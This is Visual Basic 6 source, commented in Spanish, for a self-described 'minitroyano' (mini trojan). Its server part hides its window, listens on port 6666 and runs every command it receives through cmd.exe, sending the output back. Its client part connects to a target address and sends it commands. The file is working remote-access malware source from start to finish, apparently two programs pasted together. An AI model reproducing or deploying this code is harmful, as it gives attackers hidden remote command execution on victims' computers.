Public Declare Function CreatePipe Lib "kernel32" ( _
          phReadPipe As Long, _
          phWritePipe As Long, _
          lpPipeAttributes As Any, _
          ByVal nSize As Long) As Long
     
      'Leer Tunel
      Public Declare Function ReadFile Lib "kernel32" ( _
          ByVal hFile As Long, _
          ByVal lpBuffer As String, _
          ByVal nNumberOfBytesToRead As Long, _
          lpNumberOfBytesRead As Long, _
          ByVal lpOverlapped As Any) As Long
     
      'Esto lo usa la funcion CreateProcessA
      Public Type SECURITY_ATTRIBUTES
          nLength As Long
          lpSecurityDescriptor As Long
          bInheritHandle As Long
      End Type
     
      'Esto lo usa la funcion CreateProcessA
      Public Type STARTUPINFO
          cb As Long
          lpReserved As Long
          lpDesktop As Long
          lpTitle As Long
          dwX As Long
          dwY As Long
          dwXSize As Long
          dwYSize As Long
          dwXCountChars As Long
          dwYCountChars As Long
          dwFillAttribute As Long
          dwFlags As Long
          wShowWindow As Integer
          cbReserved2 As Integer
          lpReserved2 As Long
          hStdInput As Long
          hStdOutput As Long
          hStdError As Long
      End Type
     
      'Esto lo usa la funcion CreateProcessA
      Public Type PROCESS_INFORMATION
          hProcess As Long
          hThread As Long
          dwProcessId As Long
          dwThreadID As Long
      End Type
     
      'Esta funcion lanza el proceso y
      'devuelve sus datos a traves de PROCESS_INFORMATION
      Public Declare Function CreateProcessA Lib "kernel32" ( _
          ByVal lpApplicationName As Long, _
          ByVal lpCommandLine As String, _
          lpProcessAttributes As SECURITY_ATTRIBUTES, _
          lpThreadAttributes As SECURITY_ATTRIBUTES, _
          ByVal bInheritHandles As Long, _
          ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As Long, _
          ByVal lpCurrentDirectory As Long, _
          lpStartupInfo As STARTUPINFO, _
          lpProcessInformation As PROCESS_INFORMATION) As Long
     
      'Cierra el tunel
      Public Declare Function CloseHandle Lib "kernel32" ( _
          ByVal hHandle As Long) As Long
     
      'Constantes necesarias para lo de antes
      Public Const NORMAL_PRIORITY_CLASS = &H20&
      Public Const STARTF_USESTDHANDLES = &H100&
      Public Const STARTF_USESHOWWINDOW = &H1
     
     

Public Function CMD(ByVal Comando As String) As String
      On Error GoTo ACAGAR
          Dim proc As PROCESS_INFORMATION     'Informacion de CreateProcessA
          Dim Ret As Long                     'Esto se usa para obtener el retorno de las
                                              'funciones API
          Dim start As STARTUPINFO            'Informacion de inicio para CreateProcessA
     
          Dim sa As SECURITY_ATTRIBUTES       'Atributos de seguridad para
                                              'CreateProcessA
          Dim hReadPipe As Long               'Lectura de Tunel
          Dim hWritePipe As Long              'Escritura de Tunel
          Dim lngBytesread As Long            'Cantidad de Bytes leidos
          Dim strBuff As String * 256         'Buffer de lectura de tunel
     
          'Creamos el tunel...
          sa.nLength = Len(sa)
          sa.bInheritHandle = 1&
          sa.lpSecurityDescriptor = 0&
          Ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)
         
          If Ret = 0 Then
              'Si falla la creacion del tunel
              CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError
              Exit Function
          End If
         
          'Lanzamos el interprete de comandos...
          start.cb = Len(start)
          start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
          start.hStdOutput = hWritePipe
          start.hStdError = hWritePipe
          'Buscar la ruta del CMD.exe y añadir /c y el comando
          mCommand = Environ("COMSPEC") + " /c " + Comando
          'Creamos el proceso usando la String mCommand de antes...
          'y obtenemos RET para saber si se ha ejecutado
          Ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, _
              NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
             
          If Ret <> 1 Then
              'si no se encuentra el comando...
              CMD = "Archivo o Comando no encontrado"
              Exit Function
          End If
         
          'Cerramos el tunel
          Ret = CloseHandle(hWritePipe)
          mOutputs = ""
         
          'lo leemos
          Do
              Ret = ReadFile(hReadPipe, strBuff, 256, lngBytesread, 0&)
              mOutputs = mOutputs & Left(strBuff, lngBytesread)
          Loop While Ret <> 0
         
          'cerramos los Handles (controladores)
          Ret = CloseHandle(proc.hProcess)
          Ret = CloseHandle(proc.hThread)
          Ret = CloseHandle(hReadPipe)
         
          'y hacemos que la funcion devuelva el resultado del comando a traves
          ' de la string mOutputs
          CMD = mOutputs
          Exit Function
ACAGAR:
          CMD = "Error:" + Err.Description
      End Function
 

Private Sub Form_Load()
On Error Resume Next
Form1.Visible = False                      'ocultamos el formulario
Winsock1.LocalPort = "6666"            'ponemos 6666 en localport
Winsock1.Listen                        'ponemos winsock a la escucha
end sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close                                  'Cerramos y aceptamos
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim resultado As String
Dim dato As String
Winsock1.GetData dato    'Lo que nos mandan lo guardamos en la bariable dato
resultado = CMD(dato)   'Hacemos la shell
Winsock1.SendData resultado 'Enviamos el resultado
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close 'Si ocurre un error se abre y se cierra
Winsock1.Listen
End Sub

Private Sub Command1_Click()
On Error Resume Next
Winsock1.Connect Text1, 6666
End Sub
Private Sub Command2_Click()
Winsock1.Close
End Sub
Private Sub Command3_Click()
On Error Resume Next
Winsock1.SendData Text2 & vbCrLf
End Sub

Private Sub Command4_Click()
Call MsgBox("Este es un cliente, puedes usar los comandos tipicos del ms-dos, dir, mkdir, etc.. pero si quieres ver el contenido de otro directorio que no sea c:\ tienes que hacer dir c:\nobredirectorio o dir cd c:\nombredirectorio", vbExclamation, "Información")
End Sub
Private Sub Command5_Click()
Call MsgBox("Minitroyano creado para vbtrollano por reydelmundo11", vbExclamation, "creditos")
End Sub
Private Sub Winsock1_Connect()
Call MsgBox("Conectados con exito", vbOKOnly, "Bien")
Command1.Enabled = False
Command2.Enabled = True
Command3.Enabled = True
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text3 = Text3 & datos
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Call MsgBox("Error al conectar")
Command1.Enabled = True
Command2.Enabled = False
Command3.Enabled = False
End Sub